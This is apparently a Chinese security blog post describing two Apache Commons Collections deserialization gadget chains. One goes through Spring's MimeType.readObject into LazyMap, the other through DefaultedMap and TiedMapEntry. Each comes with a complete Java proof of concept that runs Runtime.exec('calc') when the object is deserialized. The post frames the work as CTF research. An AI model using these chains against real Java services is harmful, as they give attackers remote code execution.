CC链的一些新方式

3 分钟

MimeType触发CC链

org.springframework.util.MimeType中存在readObject触发LazyMap.get()方法从而串联起CC链,说不定可以当成CTF题目进行出题,这里记录以下。

整条链子如下:

MimeMap.readObject()->MimeMap.getParameter()->
LazyMap.get()->ChainedTransformer.transform()->
->InvokeTransform.transform()->method.invoke()

链子分析如下:

在MimeType#readObject方法中,

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        String charsetName = this.getParameter("charset");
        if (charsetName != null) {
            this.resolvedCharset = Charset.forName(this.unquote(charsetName));
        }
    }

这里会触发getParameter方法,这个方法下刚好能够调用get方法,而parameters参数刚好是一个Map类型。

private final Map parameters;
@Nullable
    public String getParameter(String name) {
        return (String)this.parameters.get(name);
    }

因此只需要将paramters参数设置为LazyMap即可串联起CC链子的后面部分。

payload如下:

package com.example.demo.demos.web;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.util.MimeType;
import org.apache.commons.collections.Transformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map map1 = LazyMap.decorate(map, chainedTransformer);

        MimeType mimeType=new MimeType("test");
        Field field=MimeType.class.getDeclaredField("parameters");
        field.setAccessible(true);
        field.set(mimeType,map1);
        unserialize(serialize(mimeType));

    }
    public static byte[]  serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();

    }

    public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
        objectInputStream.readObject();

    }

}

请输入图片描述

DefaultMap链子

虽然说这种链子除了能在CTF出某些题目之外,已经不存在什么实际的意义,但是既然看了,那就顺带记下来的,说不定以后有出题的机会。

DefaultMap分析

DefaultMap中可以看到与LazyMap中几乎相似的代码,也是属于它的get方法。

image-20240527163317036

也就是说,如果这里的mapvalue可控,那么就能够换掉LazyMap,并且与ChainedTransform拼接形成一条新的触发链。

那么有所不同的地方是什么呢?就是在于赋值的问题,在LazyMap中我们可以直接通过decorate方法直接对map factory进行赋值,从而控制掉get方法中的参数值。

image-20240527163650432

DefaultMap中,map是属于父类AbstractMapDecorator的属性,所以仅仅需要使用反射进行赋值即可达到我们的效果。

image-20240527163914978

因此整条链子Gadgets如下:

HashMap#readObject()->TiedMapEntry#hashCode()->TiedMapEntry#getValue()->DefaultMap#get()->ChainedTransform#transform()->InvokerTransformer#transform()

poc如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class defaultMapCC {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Map<Object, Object> innerMap = new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        DefaultedMap defaultedMap=new DefaultedMap(chainedTransformer);
        

        Field mapField = DefaultedMap.class.getSuperclass().getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(defaultedMap, innerMap);

        // 通过反射设置value字段
        Field valueField = DefaultedMap.class.getDeclaredField("value");
        valueField.setAccessible(true);
        valueField.set(defaultedMap, chainedTransformer);
        
        DefaultedMap defaultedMap2=new DefaultedMap("test");
        HashMap<Object,Object> map=new HashMap<>();
        TiedMapEntry tiedMapEntry=new TiedMapEntry(defaultedMap2,"aaa");//设置一个空值,防止序列化的时候就触发


        map.put(tiedMapEntry,"bbb");
        Field field=TiedMapEntry.class.getDeclaredField("map");
        field.setAccessible(true);
        field.set(tiedMapEntry,defaultedMap);
        unserialize(serialize(map));


    }

    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }


    public static void unserialize(byte[] data) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(data));
        objectInputStream.readObject();
    }


}

image-20240527164352654

总结

事实上如果有足够耐心的查找一些类的方法,对于一些这种换掉某个类的新链子肯定还有很多。但是实际的意义并不大,因为现实的场景已经不再可能使用对应漏洞版本的依赖包进行开发。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:CC链的一些新方式
文章链接:https://aiwin.fun/index.php/archives/4397/
最后编辑:2024 年 5 月 27 日 16:52 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 2 + 8 =
快来做第一个评论的人吧~